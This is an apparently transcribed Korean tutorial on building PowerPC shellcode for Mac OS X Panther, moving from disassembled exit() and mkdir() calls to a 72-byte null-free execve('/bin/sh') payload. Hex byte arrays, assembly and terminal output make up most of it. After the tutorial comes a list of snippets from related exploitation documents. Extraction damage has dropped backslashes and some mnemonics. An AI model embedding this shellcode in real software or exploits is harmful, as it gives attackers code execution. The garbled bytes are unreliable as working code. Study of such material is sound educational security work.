Execute_Shellcode_on_the_MacOSX.txt - 메모장

Size: px
Start display at page:

Download "Execute_Shellcode_on_the_MacOSX.txt - 메모장"

Transcription

1 ####################################################################### Execute Shellcode on the MacOSX 1ndr4 "indra.kr". " x40". "gmail.com" ######################################################################## 0x00. Introduction 0x01. Preparation 0x02. Disassemble the exit() function 0x03. Execution of mkdir() function 0x04. Implementation of shellcode using execve() function 0x05. Remove the 0x00 code 0x06. The end 0x07. Reference 0x00. Introduction Processor : PowerPC G4 400MHz Memory : 320RAM SDRAM Developer Packages : Xcode Tools (developer kit for macosx) OS Version : MacOSX (7W98) - Panther Kernel Version : Darwin Updated Packages : Full Patches 회사에서 Mac 관련프로토콜인 AppleTalk 라는프로토콜을개량, 연구하는일을하다보니맥을접할수있는계기가많아졌다. 이쪽일을하게된것이 04 년 4 월쯤부터니까.. 1 년조금넘게한것같다. 게다가 Mac 9 에서 Mac 10 으로올라오면서 Darwin kernel 에 unix based 라는것이매우마음에들었다. linux/freebsd 에서는 shellcode 를직접만들어봤고, windows 쪽은솔직히관심없어서안했고, Mac 쪽의 ppc shellcode 를직접만들어보리라생각을했었다. 엄청난삽질을예감하고기쁜마음이었는데우연히 B-r00t 가쓴 "Smashing The Mac For Fun & Profit" 문서를찾게되었다. 대충내용을보니쉽게설명이되어있는것같았고그런문서가존재하는것을알고는김이팍새버렸다. 그래서다짐했다. ' 저문서보지말고처음부터하자 ' 그래서지금부터삽질을할것이다. 처음부터... 이문서에는 Mac OS X 를인스톨하고 root 권한을가지고, developer tool 에관련된이야기까지적을것이다. 0x01. Preparation 나는회사의맥용머신에 10.3 버전인 Panther 버전을깔았다. ( 이하 Mac) 메모리는 320RAM 인데, 하는일자체가프로토콜개량쪽이다보니많은메모리를가진머신이필요없었다. 처음인스톨하고 linux 와같은 ' 콘솔 ' 메뉴가있어이를클릭해보면 terminal 이실행된다. unix 기반 OS 를다룬사람은금방터득할수있는어플리케이션이다. 또한 windows 에도 explorer.exe 가전체 GUI shell 을담당하듯, Mac 에는 'Finder' 라는프로세스가전체 GUI shell 을담당한다. bsd 처럼, /etc/inetd.conf 에의해 service 를설정할수있었기에 telnet port 를열고 terminal 로접속을했다. 처음 Mac 을깔면 ' 관리자계정 ' 이라는것을만드는데, windows 의 administrator 권한과같은것같다. (root 계정과는별개 ) 그리고 root 계정을얻기위해응용프로그램 -> 유틸리티 -> 'NetInfo 관리자 ' 를열어 root 의 password 필드부분의값을전부지웠다. 그러고나니 terminal 로접속한계정에서 su - 를사용하여패스워드없이 root 계정을얻을수있었다. google 에찾아보니 'NetInfo 관리자 ' 에서변경후에 nidump passwd. 를한번실행해주라하는데, 나는그렇게하지않아도됐었다. 그후에다시 NetInfo 관리자를열어 root 의 password 부분에 '*' 를채워주고 root 권한의 terminal 에서 passwd root 를사용함으로써 root 패스워드를재설정했다. 그리고는 gcc, gdb 등의 application 을깔아야했는데 apple.com 에가입해서 Xcode tools 패키지를다운받고인스톨을한후에야 gcc, gdb 등의어플리케이션을사용할수있었다. 0x02. Disassemble the exit() function 나는 linux 에서도그렇고 freebsd 에서도그랬지만, 제일처음디스어셈블을하는

2 함수가바로 exit() 함수이다. 그결과는다음과같았다. indra:~/shellcode indra$ cat > exit.c #include <stdio.h> exit(33); indra:~/shellcode indra$ gcc -o exit exit.c -g indra:~/shellcode indra$ alias gdb='gdb -q' indra:~/shellcode indra$ gdb./exit Reading symbols for shared libraries.. done (gdb) disas main Dump of assembler code for function main: 0x00001de8 <main+0>: mflr r0 0x00001dec <main+4>: stmw r30,-8(r1) 0x00001df0 <main+8>: stw r0,8(r1) 0x00001df4 <main+12>: stwu r1,-80(r1) 0x00001df8 <main+16>: mr r30,r1 0x00001dfc <main+20>: li r3,33 0x00001e00 <main+24>: bl 0x1e04 <dyld_stub_exit> End of assembler dump. (gdb) q indra:~/shellcode indra$ exit() 함수에인자로주어진 33 은일부러넣어본것이고, 컴파일 -g 옵션을넣어봤다. 그리고디버깅을했는데 IA(Intel Architecture) 와는디스어셈블결과가확연하게달랐다. 그래서 apple.com 에서 assembly manual 을찾아번역해가면서의미를알아봤다. 참고로그곳에는이런이야기가쓰여있다. "The order of operands is destination <- source." 즉, operand 의순서는 dst,src 가된다는이야기다. movl $0x00,%eax 는 src,dst 순서가되어 eax 레지스터에 0x00 값을집어넣지만, li r2,1 이면 dst,src 순서가되어 r2 레지스터에 1 값을집어넣는다는이야기다. 0x00: mflr r0 ; link register(=mfspr 1, r0) 0x01: stmw r30,-8(r1) ; Store Multiple Word 0x02: stw r0,8(r1) ; Store Word 0x03: stwu r1,-80(r1) ; Store Word With Update 0x04: mr r30,r1 ; Move Register 0x05: li r3,33 ; Load Immediate 0x06: bl 0x1e04 ; Branch gas 에서는정수 33 이라는값을입력할때 (Immediate), 16 진수로변환하여 21 이라는값을저장했어야하는데 Mac ASM 은이것을변환하지않고그대로저장하게한다. 또한함수인자가들어가는 register. 즉, linux gas 의 register 는 %ebx 부터였지만, 저기서는 r3 이라는곳에들어간다. 일단이것을컴파일해서실행해보면다음과같다. indra:~/shellcode indra$./exit indra:~/shellcode indra$ echo $? 33 indra:~/shellcode indra$ shell program 상에서 $? 는프로그램종료시반환된값이저장되어있는것을사용해서 echo 로찍어보았더니정상적으로실행이됐다는것을확인할수있다. 일단우리는 bl(branch) 은 linux 의 call operator 와같다고생각할수있다. linux - call exit Mac - bl exit shellcode 를실행할때는 call operator 가아닌 interrupt operator 를사용하는구조로이루어져야한다. 찾아보니 라는 operator 가현재 Mac 의 System interrupt operator 로분류되어사용되어지고있었다. linux - int $0x80 Mac - 삽질을한번해보기로했다.

3 r0 - r31 까지기본적인목적레지스터이고, /usr/include/sys/syall.h 에각시스템콜넘버가기록되어있으므로, 이것들을조합해서짜보기로했다. indra:~/shellcode indra$ cat 2.s li r0,1 li r3,33 indra:~/shellcode indra$ cc -o 2 2.s indra:~/shellcode indra$ echo $? 0 indra:~/shellcode indra$./2 indra:~/shellcode indra$ echo $? 33 indra:~/shellcode indra$ 일단은원하는대로된것인지프로그램결과값이 33 이나왔다. 0x03. Execution of mkdir() function exit() 함수를 operator 사용으로구현한것까지는좋은데, 그다음으로쉬워보이는 mkdir() 을구현해보는것이다. 아직까지는인자의두번째가 r4 register 로가야하는지어디로가야하는지불분명하다. 이것도삽질을해서풀어보려한다. indra:~/shellcode indra$ cc -o mkdir mkdir.c -g indra:~/shellcode indra$./mkdir indra:~/shellcode indra$ ls -al AAAA total 0 drwx indra indra Aug 04:02. drwxr-xr-x 14 indra indra Aug 04:02.. indra:~/shellcode indra$ cat mkdir.c #include <stdio.h> mkdir("aaaa", 0700); indra:~/shellcode indra$ gdb./mkdir Reading symbols for shared libraries.. done (gdb) disas main Dump of assembler code for function main: 0x00001d98 <main+0>: mflr r0 0x00001d9c <main+4>: stmw r30,-8(r1) 0x00001da0 <main+8>: stw r0,8(r1) 0x00001da4 <main+12>: stwu r1,-80(r1) 0x00001da8 <main+16>: mr r30,r1 0x00001dac <main+20>: bcl- 20,4*cr7+so,0x1db0 <main+24> 0x00001db0 <main+24>: mflr r31 0x00001db4 <main+28>: addis r3,r31,0 0x00001db8 <main+32>: addi r3,r3,584 0x00001dbc <main+36>: li r4,448 0x00001dc0 <main+40>: bl 0x1f3c <dyld_stub_mkdir> 0x00001dc4 <main+44>: mr r3,r0 0x00001dc8 <main+48>: lwz r1,0(r1) 0x00001dcc <main+52>: lwz r0,8(r1) 0x00001dd0 <main+56>: mtlr r0 0x00001dd4 <main+60>: lmw r30,-8(r1) 0x00001dd8 <main+64>: blr End of assembler dump. (gdb) q indra:~/shellcode indra$ 복잡한명령어들을거쳐 r3 register 에값이들어가고, r4 register 까지값이쓰인후에야 branch 로 mkdir 이실행되는것을볼수있다. 간단한어셈코드로만들면다음과같다..data str:.text.aii "AAAA 0"

4 li r0,136 ; /usr/include/sys/syall.h lis r3,ha16(str) ; upper 16bits of address addi r3, r3, lo16(str) ; lower 16bits of address li r4,448 ; permission, Dec: 448, Oct: 700 최종목표는 shellcode 인데, linux shellcode 만들때같은방식으로만들어볼까한다. linux shellcode 만들때에는우선 IA32 가 Little Endian 시스템이므로문자열들을 4 바이트씩쪼개 0x 형식으로거꾸로만들어버린후 push operator 를사용해 stack 에해당값들을집어넣고 stack pointer 인 esp 값으로문자열의주소를계산해서활용했었다. "PowerPC Technical Tidbits" 문서에따르면 Mac 에서 stack pointer 에해당하는레지스터는 r1 이라고하며, 이 r1 을 stwu operator 로연산하면 stack frame 이만들어진다고한다. 그것을토대로코드하나를짜서테스트해봤다. stwu r1,-8(r1) ; stack pointer lis r31,0x4141 ; upper 2bytes (0x ) addi r31,r31,0x4141 ; lower 2bytes (0x ) stwu r31,0(r1) ; pushing value in to stack mr r3,r1 ; first value (address of string) xor. r31,r31,r31 ; XOR stwu r31,4(r1) ; pushing value in to stack (0x ) li r0,136 number li r4,448 ; second value (permission) 솔직히위의코드하나때문에거의몇시간동안삽질했다. memory alignment, register 나 operand 이름같은것들이 linux 때와는다르게너무생소하기도하고 x86 기반 little endian 에서만 shellcode 를만들었던지라 big endian 이라는것도적응하기힘든요인으로작용했다. 일단, stack pointer 로정해져있는 r1 register 의값을조정해 8 바이트의 stack 공간을만들었다. 그리고문자열을 r31 register 에 Immediate 하고그것을 stack 영역에복사했다. xor 을사용해문자열의끝을알리는부분도만들어넣었고, 그리고 를실행한다. 위의코드를실행하면정상적으로 AAAA 라는이름의디렉토리가만들어진다. 퍼미션도정확하다. char damn[] = " x94 x21 xff xf8 x3f xe0 x41 x41 x3b" " xff x41 x41 x97 xe1 x00 x00 x7c x23" " x0b x78 x7f xff xfa x79 x97 xe1 x00" " x04 x38 x00 x00 x88 x38 x80 x01 xc0" " x44 x00 x00 x02"; void (*func)(void); func = (void*)damn; func(); C 로 function pointer 를사용해실행하도록포팅한버전에서도역시정상적으로실행됐다. 다만, 위의코드로디렉토리가정상적으로만들어졌지만코어덤프가일어났는데그문제는분기문을끝내기위한 blr 과 exit() 함수의코드를추가함으로써해결됐다. 재미있는것은폴트에러를내면서종료를하길래디버깅하려고 ulimit 으로코어생성을하게했는데도, 현재디렉토리에코어파일이생기지않았다. 그래서찾아본결과 core 파일들은 /cores 디렉토리안에 core.pid 형식으로생기는것을알수있었다. char damn[] = /* mkdir("aaaa 0", 0700); */ " x94 x21 xff xf8 x3f xe0 x41 x41 x3b" " xff x41 x41 x97 xe1 x00 x00 x7c x23" " x0b x78 x7f xff xfa x79 x97 xe1 x00" " x04 x38 x00 x00 x88 x38 x80 x01 xc0" " x44 x00 x00 x02" /* blr */ " x4e x80 x00 x20" /* exit(0); */ " x38 x00 x00 x01 x38 x60 x00 x00 x44" " x00 x00 x02";

5 void (*func)(void); func = (void*)damn; func(); 0x04. Implementation of shellcode using execve() function 자이제 execve() 로 /bin/sh 를실행하는코드를만들때가왔다. 솔직히싱숭생숭하다. 또어떤장벽이날가로막고있을까이런삽질하는맛이라도있어야살지. #include <stdio.h> char *sh[2]; sh[0] = "/bin/sh"; sh[1] = NULL; execve(sh[0], sh, NULL); 너무많이본코드다. execve() 를사용해 /bin/sh 를실행하는 C 코드. 디스어셈블결과는다음과같다. (gdb) disas main Dump of assembler code for function main: 0x00001d84 <main+0>: mflr r0 0x00001d88 <main+4>: stmw r30,-8(r1) 0x00001d8c <main+8>: stw r0,8(r1) 0x00001d90 <main+12>: stwu r1,-96(r1) 0x00001d94 <main+16>: mr r30,r1 0x00001d98 <main+20>: bcl- 20,4*cr7+so,0x1d9c <main+24> 0x00001d9c <main+24>: mflr r31 0x00001da0 <main+28>: addis r2,r31,0 0x00001da4 <main+32>: addi r2,r2,604 0x00001da8 <main+36>: stw r2,64(r30) 0x00001dac <main+40>: li r0,0 0x00001db0 <main+44>: stw r0,68(r30) 0x00001db4 <main+48>: lwz r3,64(r30) 0x00001db8 <main+52>: addi r4,r30,64 0x00001dbc <main+56>: li r5,0 0x00001dc0 <main+60>: bl 0x1f3c <dyld_stub_execve> 0x00001dc4 <main+64>: mr r3,r0 0x00001dc8 <main+68>: lwz r1,0(r1) 0x00001dcc <main+72>: lwz r0,8(r1) 0x00001dd0 <main+76>: mtlr r0 0x00001dd4 <main+80>: lmw r30,-8(r1) 0x00001dd8 <main+84>: blr End of assembler dump. (gdb) q r5 register 가마지막으로 envp 부분이다. 이것을토대로 asm code 를짜봤다. lis r29,0x2f2f ; upper 2bytes ("//") addi r29,r29,0x6269 ; lower 2bytes ("bi") lis r30,0x6e2f ; upper 2bytes ("n/") addi r30,r30,0x7368 ; lower 1byte ("sh") xor. r31,r31,r31 ; XOR stwu r1,-20(r1) ; allocated 20bytes stwu r31,0(r1) ; 0x stwu r29,4(r1) ; mr r3,r1 ; stwu r30,4(r1) ; first value (path) stwu r31,4(r1) ; 0x mr r4,r3 ; stwu r4,4(r1) ; address of path push to stack stwu r31,4(r1) ; 0x mr r4,r1 ;

6 subi r4,r4,4 ; second value (argv) li r5,0 ; third value (envp) li r0,59 number 의외로길어졌다... 일단실행은성공적이다. indra:~/shellcode indra$ cat 1.s lis r29,0x2f2f ; upper 2bytes ("//") addi r29,r29,0x6269 ; lower 2bytes ("bi") lis r30,0x6e2f ; upper 2bytes ("n/") addi r30,r30,0x7368 ; lower 1byte ("sh") xor. r31,r31,r31 ; XOR stwu r1,-20(r1) ; allocated 20bytes stwu r31,0(r1) ; 0x stwu r29,4(r1) ; mr r3,r1 ; stwu r30,4(r1) ; first value (path) stwu r31,4(r1) ; 0x mr r4,r3 ; stwu r4,4(r1) ; address of path push to stack stwu r31,4(r1) ; 0x mr r4,r1 ; subi r4,r4,4 ; second value (argv) li r5,0 ; third value (envp) li r0,59 number indra:~/shellcode indra$ cc -o 1 1.s indra:~/shellcode indra$./1 sh-2.05b$ ps PID TT STAT TIME COMMAND 675 std S 0: bash 4533 std S 0:00.02 //bin/sh sh-2.05b$ 두번째인자값은 'char *const argv[]' 의형태를가지고있고, 이를구현하기위해먼저 stack 에문자열을넣고문자열의 address 를구한다음그 address 를다시 stack 에넣어 address 를뽑아 double pointer 형태로구현했다. indra:~/shellcode indra$ cat shell.c char damn[] = " x3f xa0 x2f x2f x3b xbd x62 x69 x3f xc0" " x6e x2f x3b xde x73 x68 x7f xff xfa x79" " x94 x21 xff xec x97 xe1 x00 x00 x97 xa1" " x00 x04 x7c x23 x0b x78 x97 xc1 x00 x04" " x97 xe1 x00 x04 x7c x64 x1b x78 x94 x81" " x00 x04 x97 xe1 x00 x04 x7c x24 x0b x78" " x38 x84 xff xfc x38 xa0 x00 x00 x38 x00" " x00 x3b x44 x00 x00 x02"; void (*ret)(void); ret = (void*)damn; ret(); indra:~/shellcode indra$ cc -o shell shell.c indra:~/shellcode indra$./shell sh-2.05b$ 역시 C code 로포팅해서실행해도이상없다. 0x05. Remove the 0x00 code 이제거의마지막단계에왔다. 마지막으로현재만들어진 code 에서 0x00 code 를제거하는일만이남았다. 일단다음과같이코드를재정리했다. xor. r5,r5,r5 ; XOR; last value (envp)

7 lis r29,0x2f2f ; upper 2bytes ("//") addi r29,r29,0x6269 ; lower 2bytes ("bi") lis r30,0x6e2f ; upper 2bytes ("n/") addi r30,r30,0x7368 ; lower 2bytes ("sh") stwu r5,-4(r1) ; pushing 0x00 stwu r30,-4(r1) ; stwu r29,-4(r1) ; first value (path) mr r3,r1 ; stwu r5,-4(r1) ; pushing 0x00 mr r4,r3 ; stwu r5,-4(r1) ; 0x stwu r4,-4(r1) ; address of path push to stack mr r4,r1 ; second value (argv) lis r6,0x1111 ; pad (0x ) addi r6,r6,0x1111 ; pad (0x ) subi r0,r6,0x10d6 ; 0x1111(4369) - 0x10d6(4310) = 59 number 그리고디스어셈블결과다음과같이 0x00 코드를제거했는데, 마지막 부분인 0x1e00 부분의 0x 부분이문제로남았다. (gdb) x/72bx main 0x1dbc <_main>: 0x7c 0xa5 0x2a 0x79 0x3f 0xa0 0x2f 0x2f 0x1dc4 <_main+8>: 0x3b 0xbd 0x62 0x69 0x3f 0xc0 0x6e 0x2f 0x1dcc <_main+16>: 0x3b 0xde 0x73 0x68 0x94 0xa1 0xff 0xfc 0x1dd4 <_main+24>: 0x97 0xc1 0xff 0xfc 0x97 0xa1 0xff 0xfc 0x1ddc <_main+32>: 0x7c 0x23 0x0b 0x78 0x94 0xa1 0xff 0xfc 0x1de4 <_main+40>: 0x7c 0x64 0x1b 0x78 0x94 0xa1 0xff 0xfc 0x1dec <_main+48>: 0x94 0x81 0xff 0xfc 0x7c 0x24 0x0b 0x78 0x1df4 <_main+56>: 0x3c 0xc0 0x11 0x11 0x38 0xc6 0x11 0x11 0x1dfc <_main+64>: 0x38 0x06 0xef 0x2a 0x44 0x00 0x00 0x02 (gdb) 예전 solaris shellcode 만들때 lcall 에대한코드도중간에 0x00 코드가있어, 그것을우회하는방법으로 0xff 로치환하는방법을생각했다. 그래서 0x 를 0x 로실행해봤는데, 코드가실행됐다. 삽질끝에또한가지흥미로운점을발견했는데다음과같다. 0x44(anycode 5 characters)2,3,6,7,a,b,e,f -> equiv to 0x ex) 0x a - b - e - f 앞의 operator 부분을차지하고있는곳이 0x44 일경우, 중간의내용은상관없이마지막부분만 2,3,6,7,a,b,e,f 라는조건만만족한다면 operator 와같은효과를낼수있는것을확인했다. 혹시나이것이내머신의 memory alignment, 혹은 memory cache 문제일수도있다. 만약그렇다면저위의메일주소로 feedback 을보내주기바란다. indra:~/shellcode indra$ cat final-shellcode.c char damn[] = " x7c xa5 x2a x79 x3f xa0 x2f x2f x3b xbd" " x62 x69 x3f xc0 x6e x2f x3b xde x73 x68" " x94 xa1 xff xfc x97 xc1 xff xfc x97 xa1" " xff xfc x7c x23 x0b x78 x94 xa1 xff xfc" " x7c x64 x1b x78 x94 xa1 xff xfc x94 x81" " xff xfc x7c x24 x0b x78 x3c xc0 x11 x11" " x38 xc6 x11 x11 x38 x06 xef x2a" " x44 x12 x34 x5f"; // <-- maybe magick bytes? ;p void (*func)(void); func = (void*)damn; printf("voila~ %d bytes shellcode! n", strlen(damn)); func(); indra:~/shellcode indra$ gcc -o final-shellcode final-shellcode.c indra:~/shellcode indra$./final-shellcode Voila~ 72 bytes shellcode!

8 sh-2.05b$ ps grep $$ std S 0:00.03 //bin/sh std R+ 0:00.00 grep sh-2.05b$ 0x06. The end 드디어끝이났다. 이문서를쓰기시작한것이 17 일이고, 19 일이된지금에야끝을보게됐다. x86 에서의어셈블리어와많은차이점이있었고메모리문제나어셈명령어문제로고민도많이했다. 그런데이렇게끝을맺을수있어서정말다행인것같다. linux 에서문자열을 stack 에넣어 shellcode 를만드는방식은 call/pop/push 로만들었을때보다꽤나작게만들수있었다. 지금나는그방식을통해 72bytes 코드를만들었는데잘만든건지는모르겠다. 전혀경험해보지않았던 ppc assembly 를이틀만에얼렁뚱땅보고해치웠으니까.. 이틀동안삽질했던것. 꽤나즐거웠다. ( 사실, 이번달부터운동한다고시작했건만, 이문서쓰는이틀동안런닝머신에있어도머리에어셈블리코드들이돌아다니는통에운동도제대로못했다 ) 정말많은도움이됐다. 그리고혹시나 ' operator 를우회하는방법 ' 에대해내머신에서잘못됐을수도있으니잘못된내용이라면바로메일로 feedback 해주기바란다. 0x07. Reference [1] Mac OS X Assembler Guide - [2] PowerPC assembly - [3] PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessors - [4] PowerPC Technical Tidbits - [5] PowerPC Assembly Quick Reference Information - [6] PowerPC Compiler Writer's Guide -

Microsoft Word - Execute_Shellcode_on_the_MacOSX_PART_2.doc

Microsoft Word - Execute_Shellcode_on_the_MacOSX_PART_2.doc Execute Shellcode on the Mac OS X (Part 2) 1ndr4 indra.kr. x40. gmail.com http://indra.linuxstudy.pe.kr 2006. 01. 12. - 1 - Table of contents 0x00. Introduction... 3 0x01. Why need the REVERSE CONNECTION...

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1 SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

Microsoft Word - 1. ARM Assembly 실습_xp2.doc

Microsoft Word - 1. ARM Assembly 실습_xp2.doc ARM asm 의구조 ARM Assembly 실습 1. 기본골격 AREA armex,code, READONLY ;Mark first instruction to execute start MOV r0, #10 MOV r1,#3 ADD r0, r0, r1 ; r0 = r0 + r1 stop NOP NOP B stop ; Mark end of file 위의 asm의구조를이해하고실행해보세요.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

